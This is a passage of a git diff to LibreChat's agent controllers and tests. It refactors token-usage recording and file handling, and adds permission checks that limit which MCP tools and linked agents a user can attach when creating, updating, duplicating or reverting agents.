- const collectedUsage = [
- { input_tokens: 1000, output_tokens: 500, model: 'gpt-4' },
- { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
- { input_tokens: 50, output_tokens: 25, model: 'gpt-4' },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- // Must be positive, should be 500 + 50 + 25 = 575
- expect(client.usage.output_tokens).toBeGreaterThan(0);
- expect(client.usage.output_tokens).toBe(575);
+ expect(client.usage.output_tokens).toBe(130);
});
});
describe('real-world scenarios', () => {
- it('should correctly sum output tokens for sequential tool calls with growing context', async () => {
- // Real production data: Claude Opus with multiple tool calls
- // Context grows as tool results are added, but output_tokens should only count model generations
+ it('should correctly handle sequential tool calls with growing context', async () => {
const collectedUsage = [
- {
- input_tokens: 31596,
- output_tokens: 151,
- total_tokens: 31747,
- input_token_details: { cache_read: 0, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 35368,
- output_tokens: 150,
- total_tokens: 35518,
- input_token_details: { cache_read: 0, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 58362,
- output_tokens: 295,
- total_tokens: 58657,
- input_token_details: { cache_read: 0, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 112604,
- output_tokens: 193,
- total_tokens: 112797,
- input_token_details: { cache_read: 0, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 257440,
- output_tokens: 2217,
- total_tokens: 259657,
- input_token_details: { cache_read: 0, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
+ { input_tokens: 31596, output_tokens: 151, model: 'claude-opus-4-5-20251101' },
+ { input_tokens: 35368, output_tokens: 150, model: 'claude-opus-4-5-20251101' },
+ { input_tokens: 58362, output_tokens: 295, model: 'claude-opus-4-5-20251101' },
+ { input_tokens: 112604, output_tokens: 193, model: 'claude-opus-4-5-20251101' },
+ { input_tokens: 257440, output_tokens: 2217, model: 'claude-opus-4-5-20251101' },
];
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 31596, output_tokens: 3006 });
+
await client.recordCollectedUsage({
collectedUsage,
balance: { enabled: true },
transactions: { enabled: true },
});
- // input_tokens should be first entry's input (initial context)
expect(client.usage.input_tokens).toBe(31596);
-
- // output_tokens should be sum of all model outputs: 151 + 150 + 295 + 193 + 2217 = 3006
- // NOT the inflated value from incremental calculation (338,559)
expect(client.usage.output_tokens).toBe(3006);
-
- // Verify spendTokens was called for each entry with correct values
- expect(mockSpendTokens).toHaveBeenCalledTimes(5);
- expect(mockSpendTokens).toHaveBeenNthCalledWith(
- 1,
- expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
- { promptTokens: 31596, completionTokens: 151 },
- );
- expect(mockSpendTokens).toHaveBeenNthCalledWith(
- 5,
- expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
- { promptTokens: 257440, completionTokens: 2217 },
- );
});
- it('should handle single followup message correctly', async () => {
- // Real production data: followup to the above conversation
- const collectedUsage = [
- {
- input_tokens: 263406,
- output_tokens: 257,
- total_tokens: 263663,
- input_token_details: { cache_read: 0, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(client.usage.input_tokens).toBe(263406);
- expect(client.usage.output_tokens).toBe(257);
-
- expect(mockSpendTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
- { promptTokens: 263406, completionTokens: 257 },
- );
- });
-
- it('should ensure output_tokens > 0 check passes for BaseClient.sendMessage', async () => {
- // This verifies the fix for the duplicate token spending bug
- // BaseClient.sendMessage checks: if (usage != null && Number(usage[this.outputTokensKey]) > 0)
- const collectedUsage = [
- {
- input_tokens: 31596,
- output_tokens: 151,
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 35368,
- output_tokens: 150,
- model: 'claude-opus-4-5-20251101',
- },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- const usage = client.getStreamUsage();
-
- // The check that was failing before the fix
- expect(usage).not.toBeNull();
- expect(Number(usage.output_tokens)).toBeGreaterThan(0);
-
- // Verify correct value
- expect(usage.output_tokens).toBe(301); // 151 + 150
- });
-
- it('should correctly handle cache tokens with multiple tool calls', async () => {
- // Real production data: Claude Opus with cache tokens (prompt caching)
- // First entry has cache_creation, subsequent entries have cache_read
+ it('should correctly handle cache tokens', async () => {
const collectedUsage = [
{
input_tokens: 788,
output_tokens: 163,
- total_tokens: 951,
input_token_details: { cache_read: 0, cache_creation: 30808 },
model: 'claude-opus-4-5-20251101',
},
- {
- input_tokens: 3802,
- output_tokens: 149,
- total_tokens: 3951,
- input_token_details: { cache_read: 30808, cache_creation: 768 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 26808,
- output_tokens: 225,
- total_tokens: 27033,
- input_token_details: { cache_read: 31576, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 80912,
- output_tokens: 204,
- total_tokens: 81116,
- input_token_details: { cache_read: 31576, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 136454,
- output_tokens: 206,
- total_tokens: 136660,
- input_token_details: { cache_read: 31576, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 146316,
- output_tokens: 224,
- total_tokens: 146540,
- input_token_details: { cache_read: 31576, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 150402,
- output_tokens: 1248,
- total_tokens: 151650,
- input_token_details: { cache_read: 31576, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 156268,
- output_tokens: 139,
- total_tokens: 156407,
- input_token_details: { cache_read: 31576, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
- {
- input_tokens: 167126,
- output_tokens: 2961,
- total_tokens: 170087,
- input_token_details: { cache_read: 31576, cache_creation: 0 },
- model: 'claude-opus-4-5-20251101',
- },
];
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 31596, output_tokens: 163 });
+
await client.recordCollectedUsage({
collectedUsage,
balance: { enabled: true },
transactions: { enabled: true },
});
- // input_tokens = first entry's input + cache_creation + cache_read
- // = 788 + 30808 + 0 = 31596
expect(client.usage.input_tokens).toBe(31596);
-
- // output_tokens = sum of all output_tokens
- // = 163 + 149 + 225 + 204 + 206 + 224 + 1248 + 139 + 2961 = 5519
- expect(client.usage.output_tokens).toBe(5519);
-
- // First 2 entries have cache tokens, should use spendStructuredTokens
- // Remaining 7 entries have cache_read but no cache_creation, still structured
- expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(9);
- expect(mockSpendTokens).toHaveBeenCalledTimes(0);
-
- // Verify first entry uses structured tokens with cache_creation
- expect(mockSpendStructuredTokens).toHaveBeenNthCalledWith(
- 1,
- expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
- {
- promptTokens: { input: 788, write: 30808, read: 0 },
- completionTokens: 163,
- },
- );
-
- // Verify second entry uses structured tokens with both cache_creation and cache_read
- expect(mockSpendStructuredTokens).toHaveBeenNthCalledWith(
- 2,
- expect.objectContaining({ model: 'claude-opus-4-5-20251101' }),
- {
- promptTokens: { input: 3802, write: 768, read: 30808 },
- completionTokens: 149,
- },
- );
- });
- });
-
- describe('cache token handling', () => {
- it('should handle OpenAI format cache tokens (input_token_details)', async () => {
- const collectedUsage = [
- {
- input_tokens: 100,
- output_tokens: 50,
- model: 'gpt-4',
- input_token_details: {
- cache_creation: 20,
- cache_read: 10,
- },
- },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'gpt-4' }),
- {
- promptTokens: {
- input: 100,
- write: 20,
- read: 10,
- },
- completionTokens: 50,
- },
- );
- });
-
- it('should handle Anthropic format cache tokens (cache_*_input_tokens)', async () => {
- const collectedUsage = [
- {
- input_tokens: 100,
- output_tokens: 50,
- model: 'claude-3',
- cache_creation_input_tokens: 25,
- cache_read_input_tokens: 15,
- },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendStructuredTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'claude-3' }),
- {
- promptTokens: {
- input: 100,
- write: 25,
- read: 15,
- },
- completionTokens: 50,
- },
- );
- });
-
- it('should use spendTokens for entries without cache tokens', async () => {
- const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(mockSpendTokens).toHaveBeenCalledTimes(1);
- expect(mockSpendStructuredTokens).not.toHaveBeenCalled();
- });
-
- it('should handle mixed cache and non-cache entries', async () => {
- const collectedUsage = [
- { input_tokens: 100, output_tokens: 50, model: 'gpt-4' },
- {
- input_tokens: 150,
- output_tokens: 30,
- model: 'gpt-4',
- input_token_details: { cache_creation: 10, cache_read: 5 },
- },
- { input_tokens: 200, output_tokens: 20, model: 'gpt-4' },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(mockSpendTokens).toHaveBeenCalledTimes(2);
- expect(mockSpendStructuredTokens).toHaveBeenCalledTimes(1);
- });
-
- it('should include cache tokens in total input calculation', async () => {
- const collectedUsage = [
- {
- input_tokens: 100,
- output_tokens: 50,
- model: 'gpt-4',
- input_token_details: {
- cache_creation: 20,
- cache_read: 10,
- },
- },
- ];
-
- await client.recordCollectedUsage({
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- // Total input should include cache tokens: 100 + 20 + 10 = 130
- expect(client.usage.input_tokens).toBe(130);
+ expect(client.usage.output_tokens).toBe(163);
});
});
describe('model fallback', () => {
- it('should use usage.model when available', async () => {
- const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4-turbo' }];
-
- await client.recordCollectedUsage({
- model: 'fallback-model',
- collectedUsage,
- balance: { enabled: true },
- transactions: { enabled: true },
- });
-
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'gpt-4-turbo' }),
- expect.any(Object),
- );
- });
-
- it('should fallback to param model when usage.model is missing', async () => {
+ it('should use param model when available', async () => {
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
await client.recordCollectedUsage({
@@ -630,14 +288,13 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'param-model' }),
- expect.any(Object),
- );
+ const [, params] = mockRecordCollectedUsage.mock.calls[0];
+ expect(params.model).toBe('param-model');
});
it('should fallback to client.model when param model is missing', async () => {
client.model = 'client-model';
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
await client.recordCollectedUsage({
@@ -646,13 +303,12 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'client-model' }),
- expect.any(Object),
- );
+ const [, params] = mockRecordCollectedUsage.mock.calls[0];
+ expect(params.model).toBe('client-model');
});
it('should fallback to agent model_parameters.model as last resort', async () => {
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
const collectedUsage = [{ input_tokens: 100, output_tokens: 50 }];
await client.recordCollectedUsage({
@@ -661,15 +317,14 @@ describe('AgentClient - recordCollectedUsage', () => {
transactions: { enabled: true },
});
- expect(mockSpendTokens).toHaveBeenCalledWith(
- expect.objectContaining({ model: 'gpt-4' }),
- expect.any(Object),
- );
+ const [, params] = mockRecordCollectedUsage.mock.calls[0];
+ expect(params.model).toBe('gpt-4');
});
});
describe('getStreamUsage integration', () => {
it('should return the usage object set by recordCollectedUsage', async () => {
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 100, output_tokens: 50 });
const collectedUsage = [{ input_tokens: 100, output_tokens: 50, model: 'gpt-4' }];
await client.recordCollectedUsage({
@@ -679,10 +334,7 @@ describe('AgentClient - recordCollectedUsage', () => {
});
const usage = client.getStreamUsage();
- expect(usage).toEqual({
- input_tokens: 100,
- output_tokens: 50,
- });
+ expect(usage).toEqual({ input_tokens: 100, output_tokens: 50 });
});
it('should return undefined before recordCollectedUsage is called', () => {
@@ -690,9 +342,9 @@ describe('AgentClient - recordCollectedUsage', () => {
expect(usage).toBeUndefined();
});
+ /** Verifies usage passes the check in BaseClient.sendMessage: if (usage != null && Number(usage[this.outputTokensKey]) > 0) */
it('should have output_tokens > 0 for BaseClient.sendMessage check', async () => {
- // This test verifies the usage will pass the check in BaseClient.sendMessage:
- // if (usage != null && Number(usage[this.outputTokensKey]) > 0)
+ mockRecordCollectedUsage.mockResolvedValue({ input_tokens: 200, output_tokens: 130 });
const collectedUsage = [
{ input_tokens: 200, output_tokens: 100, model: 'gpt-4' },
{ input_tokens: 50, output_tokens: 30, model: 'gpt-4' },
diff --git a/api/server/controllers/agents/request.js b/api/server/controllers/agents/request.js
index 79387b6e89..dea5400036 100644
--- a/api/server/controllers/agents/request.js
+++ b/api/server/controllers/agents/request.js
@@ -3,9 +3,9 @@ const { Constants, ViolationTypes } = require('librechat-data-provider');
const {
sendEvent,
getViolationInfo,
+ buildMessageFiles,
GenerationJobManager,
decrementPendingRequest,
- sanitizeFileForTransmit,
sanitizeMessageForTransmit,
checkAndIncrementPendingRequest,
} = require('@librechat/api');
@@ -252,13 +252,10 @@ const ResumableAgentController = async (req, res, next, initializeClient, addTit
conversation.title =
conversation && !conversation.title ? null : conversation?.title || 'New Chat';
- if (req.body.files && client.options?.attachments) {
- userMessage.files = [];
- const messageFiles = new Set(req.body.files.map((file) => file.file_id));
- for (const attachment of client.options.attachments) {
- if (messageFiles.has(attachment.file_id)) {
- userMessage.files.push(sanitizeFileForTransmit(attachment));
- }
+ if (req.body.files && Array.isArray(client.options.attachments)) {
+ const files = buildMessageFiles(req.body.files, client.options.attachments);
+ if (files.length > 0) {
+ userMessage.files = files;
}
delete userMessage.image_urls;
}
@@ -639,14 +636,10 @@ const _LegacyAgentController = async (req, res, next, initializeClient, addTitle
conversation.title =
conversation && !conversation.title ? null : conversation?.title || 'New Chat';
- // Process files if needed (sanitize to remove large text fields before transmission)
- if (req.body.files && client.options?.attachments) {
- userMessage.files = [];
- const messageFiles = new Set(req.body.files.map((file) => file.file_id));
- for (const attachment of client.options.attachments) {
- if (messageFiles.has(attachment.file_id)) {
- userMessage.files.push(sanitizeFileForTransmit(attachment));
- }
+ if (req.body.files && Array.isArray(client.options.attachments)) {
+ const files = buildMessageFiles(req.body.files, client.options.attachments);
+ if (files.length > 0) {
+ userMessage.files = files;
}
delete userMessage.image_urls;
}
diff --git a/api/server/controllers/agents/responses.js b/api/server/controllers/agents/responses.js
index afdb96be9f..bbf02580dd 100644
--- a/api/server/controllers/agents/responses.js
+++ b/api/server/controllers/agents/responses.js
@@ -38,6 +38,7 @@ const { loadAgentTools, loadToolsForExecution } = require('~/server/services/Too
const { findAccessibleResources } = require('~/server/services/PermissionService');
const { getConvoFiles, saveConvo, getConvo } = require('~/models/Conversation');
const { spendTokens, spendStructuredTokens } = require('~/models/spendTokens');
+const { getMultiplier, getCacheMultiplier } = require('~/models/tx');
const { getAgent, getAgents } = require('~/models/Agent');
const db = require('~/models');
@@ -428,6 +429,7 @@ const createResponse = async (req, res) => {
toolRegistry: primaryConfig.toolRegistry,
userMCPAuthMap: primaryConfig.userMCPAuthMap,
tool_resources: primaryConfig.tool_resources,
+ actionsEnabled: primaryConfig.actionsEnabled,
});
},
toolEndCallback,
@@ -486,6 +488,10 @@ const createResponse = async (req, res) => {
thread_id: conversationId,
user_id: userId,
user: createSafeUser(req.user),
+ requestBody: {
+ messageId: responseId,
+ conversationId,
+ },
...(userMCPAuthMap != null && { userMCPAuthMap }),
},
signal: abortController.signal,
@@ -505,12 +511,18 @@ const createResponse = async (req, res) => {
const balanceConfig = getBalanceConfig(req.config);
const transactionsConfig = getTransactionsConfig(req.config);
recordCollectedUsage(
- { spendTokens, spendStructuredTokens },
+ {
+ spendTokens,
+ spendStructuredTokens,
+ pricing: { getMultiplier, getCacheMultiplier },
+ bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance },
+ },
{
user: userId,
conversationId,
collectedUsage,
context: 'message',
+ messageId: responseId,
balance: balanceConfig,
transactions: transactionsConfig,
model: primaryConfig.model || agent.model_parameters?.model,
@@ -575,6 +587,7 @@ const createResponse = async (req, res) => {
toolRegistry: primaryConfig.toolRegistry,
userMCPAuthMap: primaryConfig.userMCPAuthMap,
tool_resources: primaryConfig.tool_resources,
+ actionsEnabled: primaryConfig.actionsEnabled,
});
},
toolEndCallback,
@@ -630,6 +643,10 @@ const createResponse = async (req, res) => {
thread_id: conversationId,
user_id: userId,
user: createSafeUser(req.user),
+ requestBody: {
+ messageId: responseId,
+ conversationId,
+ },
...(userMCPAuthMap != null && { userMCPAuthMap }),
},
signal: abortController.signal,
@@ -649,12 +666,18 @@ const createResponse = async (req, res) => {
const balanceConfig = getBalanceConfig(req.config);
const transactionsConfig = getTransactionsConfig(req.config);
recordCollectedUsage(
- { spendTokens, spendStructuredTokens },
+ {
+ spendTokens,
+ spendStructuredTokens,
+ pricing: { getMultiplier, getCacheMultiplier },
+ bulkWriteOps: { insertMany: db.bulkInsertTransactions, updateBalance: db.updateBalance },
+ },
{
user: userId,
conversationId,
collectedUsage,
context: 'message',
+ messageId: responseId,
balance: balanceConfig,
transactions: transactionsConfig,
model: primaryConfig.model || agent.model_parameters?.model,
diff --git a/api/server/controllers/agents/v1.js b/api/server/controllers/agents/v1.js
index 34078b2250..309873e56c 100644
--- a/api/server/controllers/agents/v1.js
+++ b/api/server/controllers/agents/v1.js
@@ -6,6 +6,7 @@ const {
agentCreateSchema,
agentUpdateSchema,
refreshListAvatars,
+ collectEdgeAgentIds,
mergeAgentOcrConversion,
MAX_AVATAR_REFRESH_AGENTS,
convertOcrToContextInPlace,
@@ -35,6 +36,7 @@ const {
} = require('~/models/Agent');
const {
findPubliclyAccessibleResources,
+ getResourcePermissionsMap,
findAccessibleResources,
hasPublicPermission,
grantPermission,
@@ -47,6 +49,7 @@ const { refreshS3Url } = require('~/server/services/Files/S3/crud');
const { filterFile } = require('~/server/services/Files/process');
const { updateAction, getActions } = require('~/models/Action');
const { getCachedTools } = require('~/server/services/Config');
+const { getMCPServersRegistry } = require('~/config');
const { getLogStores } = require('~/cache');
const systemTools = {
@@ -58,6 +61,116 @@ const systemTools = {
const MAX_SEARCH_LEN = 100;
const escapeRegex = (str = '') => str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
+/**
+ * Validates that the requesting user has VIEW access to every agent referenced in edges.
+ * Agents that do not exist in the database are skipped — at create time, the `from` field
+ * often references the agent being built, which has no DB record yet.
+ * @param {import('librechat-data-provider').GraphEdge[]} edges
+ * @param {string} userId
+ * @param {string} userRole - Used for group/role principal resolution
+ * @returns {Promise} Agent IDs the user cannot VIEW (empty if all accessible)
+ */
+const validateEdgeAgentAccess = async (edges, userId, userRole) => {
+ const edgeAgentIds = collectEdgeAgentIds(edges);
+ if (edgeAgentIds.size === 0) {
+ return [];
+ }
+
+ const agents = (await Promise.all([...edgeAgentIds].map((id) => getAgent({ id })))).filter(
+ Boolean,
+ );
+
+ if (agents.length === 0) {
+ return [];
+ }
+
+ const permissionsMap = await getResourcePermissionsMap({
+ userId,
+ role: userRole,
+ resourceType: ResourceType.AGENT,
+ resourceIds: agents.map((a) => a._id),
+ });
+
+ return agents
+ .filter((a) => {
+ const bits = permissionsMap.get(a._id.toString()) ?? 0;
+ return (bits & PermissionBits.VIEW) === 0;
+ })
+ .map((a) => a.id);
+};
+
+/**
+ * Filters tools to only include those the user is authorized to use.
+ * MCP tools must match the exact format `{toolName}_mcp_{serverName}` (exactly 2 segments).
+ * Multi-delimiter keys are rejected to prevent authorization/execution mismatch.
+ * Non-MCP tools must appear in availableTools (global tool cache) or systemTools.
+ *
+ * When `existingTools` is provided and the MCP registry is unavailable (e.g. server restart),
+ * tools already present on the agent are preserved rather than stripped — they were validated
+ * when originally added, and we cannot re-verify them without the registry.
+ * @param {object} params
+ * @param {string[]} params.tools - Raw tool strings from the request
+ * @param {string} params.userId - Requesting user ID for MCP server access check
+ * @param {Record} params.availableTools - Global non-MCP tool cache
+ * @param {string[]} [params.existingTools] - Tools already persisted on the agent document
+ * @returns {Promise} Only the authorized subset of tools
+ */
+const filterAuthorizedTools = async ({ tools, userId, availableTools, existingTools }) => {
+ const filteredTools = [];
+ let mcpServerConfigs;
+ let registryUnavailable = false;
+ const existingToolSet = existingTools?.length ? new Set(existingTools) : null;
+
+ for (const tool of tools) {
+ if (availableTools[tool] || systemTools[tool]) {
+ filteredTools.push(tool);
+ continue;
+ }
+
+ if (!tool?.includes(Constants.mcp_delimiter)) {
+ continue;
+ }
+
+ if (mcpServerConfigs === undefined) {
+ try {
+ mcpServerConfigs = (await getMCPServersRegistry().getAllServerConfigs(userId)) ?? {};
+ } catch (e) {
+ logger.warn(
+ '[filterAuthorizedTools] MCP registry unavailable, filtering all MCP tools',
+ e.message,
+ );
+ mcpServerConfigs = {};
+ registryUnavailable = true;
+ }
+ }
+
+ const parts = tool.split(Constants.mcp_delimiter);
+ if (parts.length !== 2) {
+ logger.warn(
+ `[filterAuthorizedTools] Rejected malformed MCP tool key "${tool}" for user ${userId}`,
+ );
+ continue;
+ }
+
+ if (registryUnavailable && existingToolSet?.has(tool)) {
+ filteredTools.push(tool);
+ continue;
+ }
+
+ const [, serverName] = parts;
+ if (!serverName || !Object.hasOwn(mcpServerConfigs, serverName)) {
+ logger.warn(
+ `[filterAuthorizedTools] Rejected MCP tool "${tool}" — server "${serverName}" not accessible to user ${userId}`,
+ );
+ continue;
+ }
+
+ filteredTools.push(tool);
+ }
+
+ return filteredTools;
+};
+
/**
* Creates an Agent.
* @route POST /Agents
@@ -75,22 +188,24 @@ const createAgentHandler = async (req, res) => {
agentData.model_parameters = removeNullishValues(agentData.model_parameters, true);
}
- const { id: userId } = req.user;
+ const { id: userId, role: userRole } = req.user;
+
+ if (agentData.edges?.length) {
+ const unauthorized = await validateEdgeAgentAccess(agentData.edges, userId, userRole);
+ if (unauthorized.length > 0) {
+ return res.status(403).json({
+ error: 'You do not have access to one or more agents referenced in edges',
+ agent_ids: unauthorized,
+ });
+ }
+ }
agentData.id = `agent_${nanoid()}`;
agentData.author = userId;
agentData.tools = [];
const availableTools = (await getCachedTools()) ?? {};
- for (const tool of tools) {
- if (availableTools[tool]) {
- agentData.tools.push(tool);
- } else if (systemTools[tool]) {
- agentData.tools.push(tool);
- } else if (tool.includes(Constants.mcp_delimiter)) {
- agentData.tools.push(tool);
- }
- }
+ agentData.tools = await filterAuthorizedTools({ tools, userId, availableTools });
const agent = await createAgent(agentData);
@@ -243,6 +358,17 @@ const updateAgentHandler = async (req, res) => {
updateData.avatar = avatarField;
}
+ if (updateData.edges?.length) {
+ const { id: userId, role: userRole } = req.user;
+ const unauthorized = await validateEdgeAgentAccess(updateData.edges, userId, userRole);
+ if (unauthorized.length > 0) {
+ return res.status(403).json({
+ error: 'You do not have access to one or more agents referenced in edges',
+ agent_ids: unauthorized,
+ });
+ }
+ }
+
// Convert OCR to context in incoming updateData
convertOcrToContextInPlace(updateData);
@@ -261,6 +387,26 @@ const updateAgentHandler = async (req, res) => {
updateData.tools = ocrConversion.tools;
}
+ if (updateData.tools) {
+ const existingToolSet = new Set(existingAgent.tools ?? []);
+ const newMCPTools = updateData.tools.filter(
+ (t) => !existingToolSet.has(t) && t?.includes(Constants.mcp_delimiter),
+ );
+
+ if (newMCPTools.length > 0) {
+ const availableTools = (await getCachedTools()) ?? {};
+ const approvedNew = await filterAuthorizedTools({
+ tools: newMCPTools,
+ userId: req.user.id,
+ availableTools,
+ });
+ const rejectedSet = new Set(newMCPTools.filter((t) => !approvedNew.includes(t)));
+ if (rejectedSet.size > 0) {
+ updateData.tools = updateData.tools.filter((t) => !rejectedSet.has(t));
+ }
+ }
+ }
+
let updatedAgent =
Object.keys(updateData).length > 0
? await updateAgent({ id }, updateData, {
@@ -371,7 +517,7 @@ const duplicateAgentHandler = async (req, res) => {
*/
const duplicateAction = async (action) => {
const newActionId = nanoid();
- const [domain] = action.action_id.split(actionDelimiter);
+ const { domain } = action.metadata;
const fullActionId = `${domain}${actionDelimiter}${newActionId}`;
// Sanitize sensitive metadata before persisting
@@ -381,7 +527,7 @@ const duplicateAgentHandler = async (req, res) => {
}
const newAction = await updateAction(
- { action_id: newActionId },
+ { action_id: newActionId, agent_id: newAgentId },
{
metadata: filteredMetadata,
agent_id: newAgentId,
@@ -403,6 +549,17 @@ const duplicateAgentHandler = async (req, res) => {
const agentActions = await Promise.all(promises);
newAgentData.actions = agentActions;
+
+ if (newAgentData.tools?.length) {
+ const availableTools = (await getCachedTools()) ?? {};
+ newAgentData.tools = await filterAuthorizedTools({
+ tools: newAgentData.tools,
+ userId,
+ availableTools,
+ existingTools: newAgentData.tools,
+ });
+ }
+
const newAgent = await createAgent(newAgentData);
try {
@@ -530,10 +687,10 @@ const getListAgentsHandler = async (req, res) => {
*/
const cache = getLogStores(CacheKeys.S3_EXPIRY_INTERVAL);
const refreshKey = `${userId}:agents_avatar_refresh`;
- const alreadyChecked = await cache.get(refreshKey);
- if (alreadyChecked) {
- logger.debug('[/Agents] S3 avatar refresh already checked, skipping');
- } else {
+ let cachedRefresh = await cache.get(refreshKey);
+ const isValidCachedRefresh =
+ cachedRefresh != null && typeof cachedRefresh === 'object' && cachedRefresh.urlCache != null;
+ if (!isValidCachedRefresh) {
try {
const fullList = await getListAgentsByAccess({
accessibleIds,
@@ -541,16 +698,19 @@ const getListAgentsHandler = async (req, res) => {
limit: MAX_AVATAR_REFRESH_AGENTS,
after: null,
});
- await refreshListAvatars({
+ const { urlCache } = await refreshListAvatars({
agents: fullList?.data ?? [],
userId,
refreshS3Url,
updateAgent,
});
- await cache.set(refreshKey, true, Time.THIRTY_MINUTES);
+ cachedRefresh = { urlCache };
+ await cache.set(refreshKey, cachedRefresh, Time.THIRTY_MINUTES);
} catch (err) {
logger.error('[/Agents] Error refreshing avatars for full list: %o', err);
}
+ } else {
+ logger.debug('[/Agents] S3 avatar refresh already checked, skipping');
}
// Use the new ACL-aware function
@@ -568,11 +728,20 @@ const getListAgentsHandler = async (req, res) => {
const publicSet = new Set(publiclyAccessibleIds.map((oid) => oid.toString()));
+ const urlCache = cachedRefresh?.urlCache;
data.data = agents.map((agent) => {
try {
if (agent?._id && publicSet.has(agent._id.toString())) {
agent.isPublic = true;
}
+ if (
+ urlCache &&
+ agent?.id &&
+ agent?.avatar?.source === FileSources.s3 &&
+ urlCache[agent.id]
+ ) {
+ agent.avatar = { ...agent.avatar, filepath: urlCache[agent.id] };
+ }
} catch (e) {
// Silently ignore mapping errors
void e;
@@ -658,6 +827,14 @@ const uploadAgentAvatarHandler = async (req, res) => {
const updatedAgent = await updateAgent({ id: agent_id }, data, {
updatingUserId: req.user.id,
});
+
+ try {
+ const avatarCache = getLogStores(CacheKeys.S3_EXPIRY_INTERVAL);
+ await avatarCache.delete(`${req.user.id}:agents_avatar_refresh`);
+ } catch (cacheErr) {
+ logger.error('[/:agent_id/avatar] Error invalidating avatar refresh cache', cacheErr);
+ }
+
res.status(201).json(updatedAgent);
} catch (error) {
const message = 'An error occurred while updating the Agent Avatar';
@@ -711,7 +888,24 @@ const revertAgentVersionHandler = async (req, res) => {
// Permissions are enforced via route middleware (ACL EDIT)
- const updatedAgent = await revertAgentVersion({ id }, version_index);
+ let updatedAgent = await revertAgentVersion({ id }, version_index);
+
+ if (updatedAgent.tools?.length) {
+ const availableTools = (await getCachedTools()) ?? {};
+ const filteredTools = await filterAuthorizedTools({
+ tools: updatedAgent.tools,
+ userId: req.user.id,
+ availableTools,
+ existingTools: updatedAgent.tools,
+ });
+ if (filteredTools.length !== updatedAgent.tools.length) {
+ updatedAgent = await updateAgent(
+ { id },
+ { tools: filteredTools },
+ { updatingUserId: req.user.id },
+ );
+ }
+ }
if (updatedAgent.author) {
updatedAgent.author = updatedAgent.author.toString();
@@ -779,4 +973,5 @@ module.exports = {
uploadAgentAvatar: uploadAgentAvatarHandler,
revertAgentVersion: revertAgentVersionHandler,
getAgentCategories,
+ filterAuthorizedTools,
};
diff --git a/api/server/controllers/agents/v1.spec.js b/api/server/controllers/agents/v1.spec.js
index 8b2a57d903..ede4ea416a 100644
--- a/api/server/controllers/agents/v1.spec.js
+++ b/api/server/controllers/agents/v1.spec.js
@@ -2,7 +2,7 @@ const mongoose = require('mongoose');
const { nanoid } = require('nanoid');
const { v4: uuidv4 } = require('uuid');
const { agentSchema } = require('@librechat/data-schemas');
-const { FileSources } = require('librechat-data-provider');
+const { FileSources, PermissionBits } = require('librechat-data-provider');
